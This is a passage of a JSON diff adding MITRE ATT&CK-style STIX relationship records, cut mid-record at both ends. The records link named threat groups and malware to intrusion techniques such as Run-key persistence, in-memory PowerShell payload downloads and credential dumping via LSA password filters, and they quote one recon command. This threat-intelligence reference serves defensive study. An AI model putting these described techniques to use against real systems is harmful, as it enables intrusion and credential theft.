2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has retrieved stage 2 payloads as Bitmap images that use Least Significant Bit (LSB) steganography.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--84f88ed3-28fe-4936-8ea2-2d4f6d015c0c", + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + }, + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families install themselves as new services on victims.", + "type": "relationship", + "created": "2017-05-31T21:33:27.066Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e42eef1a-107e-40a3-9227-45621e277ff3", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:08.948Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used RAR to stage and compress local folders.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8609889-3d3e-4f6c-8f52-03ec41876b4d", + "external_references": [ + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "modified": "2019-03-25T14:25:29.540Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader uses the Windows command \"cmd.exe\" /C whoami to verify that it is running with the elevated privileges of \u201cSystem.\u201d", + "type": "relationship", + "created": "2017-05-31T21:33:27.056Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fcfb3ce0-01a0-4f92-8e18-b323202d095d", + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "modified": "2019-04-29T18:01:20.574Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e00d191c-918e-4eaf-9744-4e47dfcd9a08", + "external_references": [ + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "relationship_type": "uses", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has dropped binaries as files named microsoft_network.exe and crome.exe.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--311c1e0c-3b7b-456a-bb79-7288db54ed82", + "external_references": [ + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-06-24T19:05:41.600Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) collects files with the following extensions: .ppt, .pptx, .pdf, .doc, .docx, .xls, .xlsx, .docm, .rtf, .inp, .xlsm, .csv, .odt, .pps, .vcf and sends them back to the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--48eff76f-1f39-49e8-87c2-11607a8aeea3", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.203Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS. In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5909e6e9-c620-4278-9bdc-113f09e5799b", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.424Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to get the victim's domain and NetBIOS name.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0db8a021-2f3a-41cc-abc6-d8723c7e802b", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.370Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--61f91f23-a8a5-4b4e-b546-f0fff28851a1", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2019-04-25T12:24:57.391Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) communicates using HTTPS and uses a custom encryption cipher to encrypt the HTTPS message body.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--10c33088-630e-456d-ad0f-8a63be4d3946", + "external_references": [ + { + "source_name": "Blasco 2013", + "description": "Blasco, J. (2013, March 21). New Sykipot developments [Blog]. Retrieved November 12, 2014.", + "url": "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used Registry Run keys for persistence. The group has also set a Startup path to launch the PowerShell shell command and download Cobalt Strike.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bd5bc949-6b6b-4511-87f7-3a439a4681da", + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "modified": "2019-07-26T23:38:33.936Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) adds a Registry Run key for persistence and adds a script in the Startup folder to deploy the payload.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--51cc7dff-7fb4-41bc-a67d-39598f14f1d8", + "external_references": [ + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + } + ], + "modified": "2019-06-24T19:07:12.589Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:29:48.437Z", + "type": "relationship", + "id": "relationship--f388c949-b692-4863-8e3b-7c1fc21a5fbd", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used PowerShell scripts to download and execute programs in memory, without writing to disk.", + "type": "relationship", + "created": "2017-05-31T21:33:27.043Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6fdc3210-9754-4157-b386-8fcd680e732c", + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "modified": "2019-03-22T20:09:34.777Z", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:15:55.622Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.062Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--412b7fbf-bc21-4373-9f2c-5f0a26482536", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can modify service configurations.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--96077086-d811-47a1-a805-decbf6f249b7", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "modified": "2019-04-24T23:10:02.485Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:51.959Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.036Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e366a30-cf75-4a47-855f-91a006014ada", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-10T15:59:09.374Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.054Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0ead6cee-20a4-46fb-a9c1-8686a776f455", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "relationship_type": "uses", + "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-05-30T18:05:32.936Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--80c071f7-123e-468f-800d-726a1d3e4144", + "external_references": [ + { + "source_name": "RSA2017 Detect and Respond Adair", + "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/hta-f02-detecting-and-responding-to-advanced-threats-within-exchange-environments.pdf" + } + ], + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) puts a space after a false .jpg extension so that execution actually goes through the Terminal.app program.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--96a4b2ba-b2d9-482c-bdb9-7c710589f835", + "external_references": [ + { + "source_name": "synack 2016 review", + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "relationship_type": "uses", + "target_ref": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to create or enable accounts, such as support_388945a0.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f0b3c919-bf39-4bc9-9488-5f30d5407c54", + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ], + "modified": "2019-04-29T18:01:20.568Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) retrieves additional malicious payloads from the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--921b3245-0795-40cd-82e1-04f38bc42b14", + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + } + ], + "modified": "2019-07-26T22:56:58.437Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s \"beacon\" payload is capable of capturing screen shots.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--854a3a7e-09a7-4523-ac7f-d625a0b50b6b", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.416Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:57:02.873Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b2496438-9431-40e5-8ca0-2ec713f342c3", + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "relationship_type": "uses", + "target_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:03:38.052Z", + "type": "relationship", + "id": "relationship--1da0f3c7-d9e2-4379-a84c-782fc94a75d5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.018Z", + "source_ref": "course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) embedded a malicious macro in a Word document and lured the victim to click on an icon to execute the malware.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9015a88f-9442-41cb-8486-046b76cddc5d", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-07-11T13:53:05.975Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware creates a scheduled task entitled \u201cIE Web Cache\u201d to execute a malicious file hourly.", + "type": "relationship", + "created": "2017-05-31T21:33:27.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e362d1ad-5d36-4f6d-b2b0-63af2f5f08ff", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) contains unused machine instructions in a likely attempt to hinder analysis.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b88372d-4f3f-4442-906d-9ab07e22e781", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2019-01-30T18:08:51.071Z", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "relationship_type": "uses", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Strider](https://attack.mitre.org/groups/G0041) has registered its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter to dump credentials any time a domain, local user, or administrator logs in or changes a password.", + "type": "relationship", + "created": "2017-05-31T21:33:27.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8cbb1567-70c5-4daf-b163-cbc6cc40a794", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Full Report", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "modified": "2019-03-25T16:59:10.956Z", + "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors obtain legitimate credentials using a variety of methods and use them to further lateral movement on victim networks.", + "type": "relationship", + "created": "2017-05-31T21:33:27.062Z", + "object_marking_refs": 